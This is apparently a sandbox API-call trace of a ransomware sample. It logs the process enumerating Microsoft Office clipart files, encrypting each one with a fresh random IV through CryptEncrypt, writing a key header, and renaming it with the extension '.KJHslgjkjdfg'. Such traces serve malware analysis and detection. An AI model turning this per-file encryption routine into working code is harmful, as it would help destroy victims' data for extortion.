1 [0206.422] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4f90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4f90, lpOverlapped=0x0) returned 1 [0206.422] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.422] SetEndOfFile (hFile=0x130) returned 1 [0206.426] GetProcessHeap () returned 0x2ef0000 [0206.426] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.426] GetProcessHeap () returned 0x2ef0000 [0206.426] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.426] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.kjhslgjkjdfg")) returned 1 [0206.428] CloseHandle (hObject=0x130) returned 1 [0206.428] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309480.JPG", cAlternateFileName="")) returned 1 [0206.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.430] GetProcessHeap () returned 0x2ef0000 [0206.430] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.430] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.430] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0206.434] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.434] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.434] GetProcessHeap () returned 0x2ef0000 [0206.434] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.434] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.434] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.434] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.434] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.434] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.434] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.435] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.435] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.435] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.435] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x29c4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x29c4, lpOverlapped=0x0) returned 1 [0206.438] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x29d0, dwBufLen=0x29d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x29d0) returned 1 [0206.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.439] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x29d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x29d0, lpOverlapped=0x0) returned 1 [0206.439] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.439] SetEndOfFile (hFile=0x130) returned 1 [0206.442] GetProcessHeap () returned 0x2ef0000 [0206.442] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.442] GetProcessHeap () returned 0x2ef0000 [0206.442] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.kjhslgjkjdfg")) returned 1 [0206.444] CloseHandle (hObject=0x130) returned 1 [0206.444] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309567.JPG", cAlternateFileName="")) returned 1 [0206.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.446] GetProcessHeap () returned 0x2ef0000 [0206.446] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.446] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.446] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.449] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.449] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.449] GetProcessHeap () returned 0x2ef0000 [0206.449] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.449] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.449] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.449] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.449] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.449] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.449] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.449] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.449] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.449] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.450] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x544c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x544c, lpOverlapped=0x0) returned 1 [0206.451] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5450, dwBufLen=0x5450 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5450) returned 1 [0206.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.451] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5450, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5450, lpOverlapped=0x0) returned 1 [0206.451] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.451] SetEndOfFile (hFile=0x130) returned 1 [0206.454] GetProcessHeap () returned 0x2ef0000 [0206.454] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.454] GetProcessHeap () returned 0x2ef0000 [0206.454] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.kjhslgjkjdfg")) returned 1 [0206.461] CloseHandle (hObject=0x130) returned 1 [0206.461] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9a8b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309585.JPG", cAlternateFileName="")) returned 1 [0206.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.462] GetProcessHeap () returned 0x2ef0000 [0206.462] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.463] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.463] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0206.486] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.486] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.486] GetProcessHeap () returned 0x2ef0000 [0206.486] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.486] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.486] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.486] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.486] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.486] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.486] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.487] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.487] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.487] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.487] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9a8b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9a8b, lpOverlapped=0x0) returned 1 [0206.488] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9a90, dwBufLen=0x9a90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9a90) returned 1 [0206.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.489] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9a90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9a90, lpOverlapped=0x0) returned 1 [0206.489] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.489] SetEndOfFile (hFile=0x130) returned 1 [0206.493] GetProcessHeap () returned 0x2ef0000 [0206.493] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.493] GetProcessHeap () returned 0x2ef0000 [0206.493] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.493] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.kjhslgjkjdfg")) returned 1 [0206.495] CloseHandle (hObject=0x130) returned 1 [0206.495] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309598.JPG", cAlternateFileName="")) returned 1 [0206.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.496] GetProcessHeap () returned 0x2ef0000 [0206.497] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.497] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.497] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.497] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.497] GetProcessHeap () returned 0x2ef0000 [0206.497] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.497] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.497] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.497] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.515] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.515] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.516] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.516] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.516] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.516] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.516] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x81f0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x81f0, lpOverlapped=0x0) returned 1 [0206.567] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x81f0, dwBufLen=0x81f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x81f0) returned 1 [0206.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.568] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x81f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x81f0, lpOverlapped=0x0) returned 1 [0206.568] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x82c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.568] SetEndOfFile (hFile=0x130) returned 1 [0206.571] GetProcessHeap () returned 0x2ef0000 [0206.571] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.571] GetProcessHeap () returned 0x2ef0000 [0206.571] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.kjhslgjkjdfg")) returned 1 [0206.573] CloseHandle (hObject=0x130) 